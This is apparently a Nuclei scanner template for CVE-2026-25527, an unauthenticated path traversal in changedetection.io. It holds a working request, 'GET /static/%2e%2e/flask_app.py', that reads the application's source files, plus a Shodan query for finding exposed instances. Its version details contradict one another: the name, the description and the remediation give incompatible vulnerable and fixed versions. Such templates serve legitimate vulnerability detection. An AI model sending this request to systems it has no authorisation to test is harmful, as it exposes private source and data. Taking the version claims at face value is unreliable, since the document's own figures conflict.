Description
changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.
changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.
id: CVE-2026-25527
info:
name: changedetection.io <= 0.52.9 - Unauthenticated Path Traversal
author: WRG-11
severity: medium
description: |
changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.
impact: |
Unauthenticated attackers can read local application source files, potentially exposing sensitive information.
remediation: |
Upgrade to version 0.53.2 or later.
reference:
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-9jj8-v89v-xjvw
- https://nvd.nist.gov/vuln/detail/CVE-2026-25527
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-25527
epss-score: 0.0092
epss-percentile: 0.58529
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: dgtlmoon
product: changedetection.io
shodan-query: http.html:"changedetection.io"
tags: cve,cve2026,changedetection,lfi,traversal,unauth,exposure
http:
- raw:
- |
GET /static/%2e%2e/flask_app.py HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "from changedetectionio", "def static_content(")'
- 'contains(content_type, "text/x-python")'
condition: and
# digest: 4a0a00473045022023defb15250cfced730ed5f8d710c39b20c7d4cdb6fcd7d8acf631cede2e42c1022100fd4fee8e461a0af233c39cb74ee1391c967b6b67e4e092c575c5821d2801c09e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.